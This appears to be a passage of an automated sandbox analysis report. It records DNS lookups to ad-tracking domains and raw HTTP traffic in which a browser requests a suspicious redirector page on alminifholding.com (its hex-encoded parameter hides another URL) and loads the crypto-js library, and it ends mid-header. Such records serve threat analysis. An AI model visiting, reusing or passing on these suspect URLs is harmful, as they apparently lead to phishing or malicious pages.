Nov 7, 2024 19:32:42.258887053 CET	192.168.2.5	1.1.1.1	0xc107	Standard query (0)	web.btncdn.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.259274006 CET	192.168.2.5	1.1.1.1	0x2d0f	Standard query (0)	web.btncdn.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.261574984 CET	192.168.2.5	1.1.1.1	0x2d12	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.261933088 CET	192.168.2.5	1.1.1.1	0x1c9e	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.264478922 CET	192.168.2.5	1.1.1.1	0xda55	Standard query (0)	lantern.roeyecdn.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.264672995 CET	192.168.2.5	1.1.1.1	0xc08e	Standard query (0)	lantern.roeyecdn.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.281536102 CET	192.168.2.5	1.1.1.1	0x9855	Standard query (0)	ct.pinterest.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.281721115 CET	192.168.2.5	1.1.1.1	0x299a	Standard query (0)	ct.pinterest.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.288661957 CET	192.168.2.5	1.1.1.1	0xfc5d	Standard query (0)	pixels.spotify.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.289144993 CET	192.168.2.5	1.1.1.1	0x5c3b	Standard query (0)	pixels.spotify.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.407458067 CET	192.168.2.5	1.1.1.1	0xe5e	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.407798052 CET	192.168.2.5	1.1.1.1	0x1a93	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.606985092 CET	192.168.2.5	1.1.1.1	0xce7	Standard query (0)	js.adsrvr.org	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.607254028 CET	192.168.2.5	1.1.1.1	0xc35d	Standard query (0)	js.adsrvr.org	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.703628063 CET	192.168.2.5	1.1.1.1	0x2ccb	Standard query (0)	lantern.roeye.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.704041004 CET	192.168.2.5	1.1.1.1	0xbb3b	Standard query (0)	lantern.roeye.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:43.197473049 CET	192.168.2.5	1.1.1.1	0xf8d7	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:43.198008060 CET	192.168.2.5	1.1.1.1	0xd90d	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Nov 7, 2024 19:32:44.038495064 CET	192.168.2.5	1.1.1.1	0xc242	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:44.038753033 CET	192.168.2.5	1.1.1.1	0xbd08	Standard query (0)	adservice.google.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:44.372632980 CET	192.168.2.5	1.1.1.1	0x3529	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:44.372826099 CET	192.168.2.5	1.1.1.1	0x96ce	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Nov 7, 2024 19:32:45.044548988 CET	192.168.2.5	1.1.1.1	0xac13	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:45.044681072 CET	192.168.2.5	1.1.1.1	0x683c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:45.077486992 CET	192.168.2.5	1.1.1.1	0xaaac	Standard query (0)	pixel.streetmetrics.io	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:45.077636957 CET	192.168.2.5	1.1.1.1	0x120a	Standard query (0)	pixel.streetmetrics.io	65	IN (0x0001)	false
Nov 7, 2024 19:32:45.079531908 CET	192.168.2.5	1.1.1.1	0xf8e4	Standard query (0)	js.adsrvr.org	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:45.079678059 CET	192.168.2.5	1.1.1.1	0xaf0e	Standard query (0)	js.adsrvr.org	65	IN (0x0001)	false
Nov 7, 2024 19:32:45.279933929 CET	192.168.2.5	1.1.1.1	0xf829	Standard query (0)	tags.w55c.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:45.280081987 CET	192.168.2.5	1.1.1.1	0xe1fc	Standard query (0)	tags.w55c.net	65	IN (0x0001)	false
Nov 7, 2024 19:32:45.369551897 CET	192.168.2.5	1.1.1.1	0xcc36	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:45.369692087 CET	192.168.2.5	1.1.1.1	0x4295	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:46.938287973 CET	192.168.2.5	1.1.1.1	0x45d7	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:46.938599110 CET	192.168.2.5	1.1.1.1	0xe061	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:46.968496084 CET	192.168.2.5	1.1.1.1	0x1f26	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:46.968522072 CET	192.168.2.5	1.1.1.1	0x20e3	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:50.368787050 CET	192.168.2.5	1.1.1.1	0xf5e6	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:50.368952036 CET	192.168.2.5	1.1.1.1	0xcd0e	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Nov 7, 2024 19:32:53.499660969 CET	192.168.2.5	1.1.1.1	0xcb84	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:53.500056982 CET	192.168.2.5	1.1.1.1	0xffca	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:54.866532087 CET	192.168.2.5	1.1.1.1	0x2ece	Standard query (0)	simage2.pubmatic.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:54.867063046 CET	192.168.2.5	1.1.1.1	0x8a0b	Standard query (0)	simage2.pubmatic.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:57.452614069 CET	192.168.2.5	1.1.1.1	0x2742	Standard query (0)	ct.pinterest.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:57.456269979 CET	192.168.2.5	1.1.1.1	0x5ba3	Standard query (0)	ct.pinterest.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:57.479767084 CET	192.168.2.5	1.1.1.1	0x8254	Standard query (0)	d.agkn.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:57.480267048 CET	192.168.2.5	1.1.1.1	0xcdee	Standard query (0)	d.agkn.com	65	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:31:52 UTC	734	OUT	GET /res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f HTTP/1.1 Host: alminifholding.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:31:52 UTC	191	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:31:51 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-07 18:31:52 UTC	3622	IN	Data Raw: 65 31 61 0d 0a 20 20 20 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 2c 68 74 6d 6c 7b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e Data Ascii: e1a <html><head> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <style>body,html{margin:30px;display:flex;justify-content:cen

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:31:53 UTC	564	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://alminifholding.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:31:53 UTC	964	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:31:53 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 172615 Expires: Tue, 28 Oct 2025 18:31:53 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wiQCXfqmfRLmsc%2F%2BwADh7E6NhyxAhvR3Waojh2Be%2FrL1%2FhhltdJgM2ZI3Ny1jbr%2FBFrrjBl21HkrvfzrgRAtTq2GNMGQPvCZcFs%2FghIucF6XKuSfsjbq6J8niqoDr1ioVqvPKpkB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8def671df8612c99-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 18:31:53 UTC	405	IN	Data Raw: 37 62 65 64 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bed!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-11-07 18:31:53 UTC	1369	IN	Data Raw: 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 Data Ascii: o&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==t
2024-11-07 18:31:53 UTC	1369	IN	Data Raw: 61 72 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a Data Ascii: ar o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:
2024-11-07 18:31:53 UTC	1369	IN	Data Raw: 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f Data Ascii: arse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._do
2024-11-07 18:31:53 UTC	1369	IN	Data Raw: 2c 32 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d Data Ascii: ,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]
2024-11-07 18:31:53 UTC	1369	IN	Data Raw: 30 39 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 Data Ascii: 092+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+o*o,c=((4294901760&i)
2024-11-07 18:31:53 UTC	1369	IN	Data Raw: 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 Data Ascii: >>>6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=42
2024-11-07 18:31:53 UTC	1369	IN	Data Raw: 29 2c 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b Data Ascii: ),S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[
2024-11-07 18:31:53 UTC	1369	IN	Data Raw: 69 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 Data Ascii: i.clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;retur
2024-11-07 18:31:53 UTC	1369	IN	Data Raw: 28 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 Data Ascii: (o),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:31:55 UTC	386	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:31:55 UTC	956	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:31:55 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 172617 Expires: Tue, 28 Oct 2025 18:31:55 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i9NQzvXLKIDLG3hDgJxUvt9T2QbdgdLcg1j50CtMZYWDSw5QyjGgbJhmkPaJdD2dM%2Fen3sBpga00RiaAnPUHCzVJ6e8BTODdOf6Gow1vxwa43lveh%2FbIleHctyf7bk4TYZqspyJB"}],"group":"cf-nel","max_age":604800} NEL: 